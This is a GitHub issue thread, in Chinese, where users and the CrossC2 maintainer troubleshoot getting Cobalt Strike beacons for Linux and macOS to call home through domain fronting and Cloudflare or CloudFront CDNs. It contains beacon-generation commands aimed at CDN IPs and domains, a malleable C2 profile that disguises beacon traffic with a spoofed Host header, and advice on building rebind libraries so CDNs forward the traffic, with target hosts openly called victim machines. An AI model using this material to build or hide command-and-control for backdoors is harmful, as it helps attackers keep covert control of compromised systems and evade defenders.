Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

域前置和mac不上线问题 #60

Closed
mackleadmire opened this issue Jan 18, 2021 · 14 comments
Closed

域前置和mac不上线问题 #60

mackleadmire opened this issue Jan 18, 2021 · 14 comments

Comments

@mackleadmire
Copy link

1.域前置3.14,4.x都不行,经过排查测试,问题可能出在crossc2传参域名有问题,xx.xx.com这个换成ip就没问题
genCrossC2.MacOS xx.xx.com 443 /Users/xx/Desktop/tools/cobaltstrike4/test40.key /Users/xx/Desktop/tools/cobaltstrike4/domain.so Linux x64 ./linip40

2加载malleable c2 情况下,c3.14,4.x的linux后门都可以上线,mac不行

3 加载malleable c2 情况下,windows 测试域前置没问题

4不加载malleable c2 情况下cs3.14 的mac和linux后门都可以成功上线,4.x下linux可以上线,mac无法上线

@gloxec
Copy link
Owner

gloxec commented Jan 18, 2021

  1. 此问题与[ 请问支持linux平台域名上线功能吗? #35 ] 相同,现有版本不支持,新版本已支持并将在近日推送。
  2. 关于mac在4.x上与malleable c2profile无法上线的问题,客户端weblog界面以及服务端teamserver是否有输出信息呢?

@mackleadmire
Copy link
Author

2关于mac在4.x上与malleable c2profile无法上线的问题,客户端weblog界面以及服务端teamserver是否有输出信息呢?
这个确实很奇怪,客户端打印了一些信息,没有输出,teamserver也没输出,但是确实发包了,不过包是https的看不到

@gloxec
Copy link
Owner

gloxec commented Jan 20, 2021

域前置问题已支持,malleable c2profile 测试MacOS仍旧是正常的,检查rebind动态库是否为MacOS编译正确。确认无误的话,尝试关闭MacOS SIP再进行测试。

https://github.com/gloxec/CrossC2/releases/tag/v2.2

@ATpiu
Copy link

ATpiu commented Feb 15, 2021

走cdn域名加速来隐藏c2服务器未成功:

  1. 受害机centos7,cs client在mac上
  2. cs版本4.1,crossc2用的https://github.com/gloxec/CrossC2/releases/tag/v2.2,使用ip可以成功上线
  3. c2profile主要内容如下且通过c2lint测试:
    http-get {
    set uri "/x/y";
    client {
    header "Accept" "/";
    header "Host" "xx.cloudfront.net";
    header "accept-language" "zh-CN,zh;q=0.9";
    header "pragma" "no-cache";
    metadata {
    base64;
    header "Cookie";
    }
    }
    server {
    header "Server" "Apache-Coyote/1.1";
    header "cache-control" "max-age=0";
    header "content-encoding" "gzip";
    output {
    print;
    }
    }
    }

http-post {
set uri "/x/y/z";
client {
header "Accept" "/";
header "Host" "xx.cloudfront.net";
header "accept-language" "zh-CN,zh;q=0.9";
header "pragma" "no-cache";
id {
parameter "sn";
}
output {
print;
}
}
server {
header "Server" "Apache-Coyote/1.1";
header "cache-control" "max-age=0";
header "content-encoding" "gzip";
output {
print;
}
}
4. genCrossC2命令:./genCrossC2.MacOS xx.cloudfront.net 443 ./.cobaltstrike.beacon_keys null Linux x64 domain
5.cs listener配置如下
image

不知道是哪里出了问题,一直没上线

@gloxec
Copy link
Owner

gloxec commented Feb 16, 2021

走cdn域名加速来隐藏c2服务器未成功:
...
4. genCrossC2命令:./genCrossC2.MacOS xx.cloudfront.net 443 ./.cobaltstrike.beacon_keys null Linux x64 domain
5.cs listener配置如下
...

@ATpiu

  1. 这里的host应当指定CDN解析IP或者IP列表(列表类型中每个IP用逗号间隔),比如 ./genCrossC2.MacOS 11.11.11.11,22.22.22.22,33.33.33.33 443 ./.cobaltstrike.beacon_keys rebind_x64.so Linux x64 domain 这样,不影响windows listener的情况下,cs listener配置时也可指定好CDN IP
  2. 因为配置了c2profile的缘故,所以这里需要根据你的c2profile编译一份通讯协议重绑定的动态库,具体例子详见 https://github.com/gloxec/CrossC2/tree/cs4.1/protocol_demo ,在使用genCrossC2.MacOS生成时指定上即可

@pwnninja
Copy link

我用了最新版v2.2.1,但请问为什么CDN域名的方式仍然无法上线,而直接CC IP可以上线。我用的是cloudflare CDN,没有用Malleable C2配置文件。
我用两种生成命令的方法,都不能成功:
(1) ./genCrossC2.Linux 172.67.x.x,104.21.y.y 8443 ../../.cobaltstrike.beacon_keys null Linux x64 trojan
(2) ./genCrossC2.Linux my.domain.com 8443 ../../.cobaltstrike.beacon_keys null Linux x64 trojan

@ATpiu
Copy link

ATpiu commented Jun 14, 2021

@gloxec 这几天又试了下最新版v2.2.4,按你建议host指定cdn ip list,使用默认的c2profile,还是尝试走cloudflare cdn上线未成功(走CC IP可以)。
背景:

  1. cs 4.1
  2. CrossC2 v2.2.4
  3. 受害机centos7
  4. cloudflare cdn

配置:

  1. cs listener配置
    image
  2. genCrossC2命令:./genCrossC2.MacOS 104.x.x.x,172.x.x.x 443 ./.cobaltstrike.beacon_keys null Linux x64 /x/x/domain
  3. cdn:cdn已经配置了好几天,且相同cdn、域名和服务端,走windows cs cdn上线成功,应该不是cdn问题
  4. 客户端回显:无论./genCrossC2.MacOS 104.x.x.x,172.x.x.x 443 .....命令此处写的是ip list的逗号分隔还是域名,客户端始终回显[conf]: alive,但是机子确实没上线,web log和event log没任何输出
  5. tcpdump完整抓包:
    有抓到和上述其中一个cdn解析ip104.x.x.x的通讯,不过没上线
    image
  6. 其他
    比较有意思的是,如果马放在cs服务端所在服务器,用这种配置(不管genCrossC2命令写ip list还是域名)都可成功上线,可正常执行命令,但是tcpdump没抓到任何和cdn ip list的通信
    不知道 @mackleadmire 所说”4不加载malleable c2 情况下cs3.14 的mac和linux后门都可以成功上线,4.x下linux可以上线,mac无法上线“是不是这种情况
    image

@gloxec
Copy link
Owner

gloxec commented Jun 14, 2021

@pwnninja @ATpiu 建议以后新开issue,这里没有提示😿

这里CDN无法上线的原因是因为没有配置rebind库,参考上期回复,否则最终发送的包为

GET / HTTP/1.1
Host: x.x.x.x(CDN IP)
Accept: */*
...

metadata

这样的数据包到CDN服务器后,因为内容并不符合转发的请求,如HOST字段等,所以会丢弃,这种需要修改HTTP请求包的上线方式,不论是否配置其他c2profile,都需要借助指定rebind库来完成。

走cdn域名加速来隐藏c2服务器未成功:
...
4. genCrossC2命令:./genCrossC2.MacOS xx.cloudfront.net 443 ./.cobaltstrike.beacon_keys null Linux x64 domain
5.cs listener配置如下
...

@ATpiu

  1. 这里的host应当指定CDN解析IP或者IP列表(列表类型中每个IP用逗号间隔),比如 ./genCrossC2.MacOS 11.11.11.11,22.22.22.22,33.33.33.33 443 ./.cobaltstrike.beacon_keys rebind_x64.so Linux x64 domain 这样,不影响windows listener的情况下,cs listener配置时也可指定好CDN IP
  2. 因为配置了c2profile的缘故,所以这里需要根据你的c2profile编译一份通讯协议重绑定的动态库,具体例子详见 https://github.com/gloxec/CrossC2/tree/cs4.1/protocol_demo ,在使用genCrossC2.MacOS生成时指定上即可

@yanghaoi
Copy link

@gloxec这几天又试了下最新版v2.2.4,按照你建议的主机指定cdn ip list,使用默认的c2profile,还是试点走cloudflare cdn上线未成功(走CC IP可以)。
背景:

  1. cs 4.1
  2. CrossC2 v2.2.4
  3. 受害机centos7
  4. 云耀斑CDN

配置:

  1. cs监听器配置
    图像
  2. genCrossC2命令:./genCrossC2.MacOS 104.xxx,172.xxx 443 ./.cobaltstrike.beacon_keys null Linux x64 /x/x/domain
  3. cdn:cdn已经配置了好几天,且相同的cdn、域名和服务端,走windows cs cdn上线成功,应该不是cdn问题
  4. 客户端回显:无论./genCrossC2.MacOS 104.xxx,172.xxx 443.....机子确实没上线,web日志和事件日志没任何输出
  5. tcpdump完整抓包:
    有抓到和上述其中一个cdn解析ip104.xxx的通讯,还没上线
    图像
  6. 其他地方
    是,如果马放置c服务端服务器,用这种配置(不管genC2命令写ip列表还是域名)都可以成功上线,可以执行命令,但是tcpdump没有正常抓取到和cdn ip列表的通信
    不知道@mackleadmire所说的“4 不加载可塑性 c2 情况下 cs3.14 的 mac 和 linux 后门都可以成功上线,4.x下linux 可以上线,mac 无法上线”是不是这种情况
    图像

老哥这个解决了吗,使用cf的cdn还是没法成功,不使用cdn倒是可以。(我使用了rebind.so)

@gloxec
Copy link
Owner

gloxec commented Aug 11, 2021

@yanghaoi CF的CDN请尝试使用该版本: #87 (comment)
生成时指定域名: ./genCrossC2 域名,由CDN IP改为域名

@yanghaoi
Copy link

@yanghaoi CF的CDN请尝试使用该版本:#87(评论)
生成时指定./genCrossC2 域名域名:,由CDN IP改为域名
这个版本可以使用域名正常上线了,但是似乎心跳不是很稳定,有时候上线一次就不回了,有时候执行几个命令后就不返回了:
image

@gloxec
Copy link
Owner

gloxec commented Aug 11, 2021

@yanghaoi beacon进程还在吗?在的话抓包看看是否还在和CDN通信呢?以及尝试在rebind.so中输出通信交互内容,看数据是否在正常传递?
如果不在的话,检查是否是rebind.so处理数据时导致异常退出?

@yanghaoi
Copy link

进程还在,抓包看没有和cdn通信;rebind.so中打印交互内容心跳包和POST包内容是正常的,但是隔一段时间就没反应了。执行某些返回数据比较大的命令(比如安装了docker后执行ifconfig,会有很多网卡这种)会直接进入这种状态。不知道有没有可能是访问域名超时导致beacon处在某个异常阶段循环。这里的profile用的是 https://github.com/Richard-Tang/CrossC2-C2Profile

@gloxec
Copy link
Owner

gloxec commented Jun 7, 2022

@yanghaoi @mackleadmire 发现beacon绑定了rebind库后还是与部分CDN通信失败的错误,新版本 v3.1.0 已修复该问题
https://github.com/gloxec/CrossC2/releases/tag/v3.1.0

@gloxec gloxec closed this as completed Feb 22, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants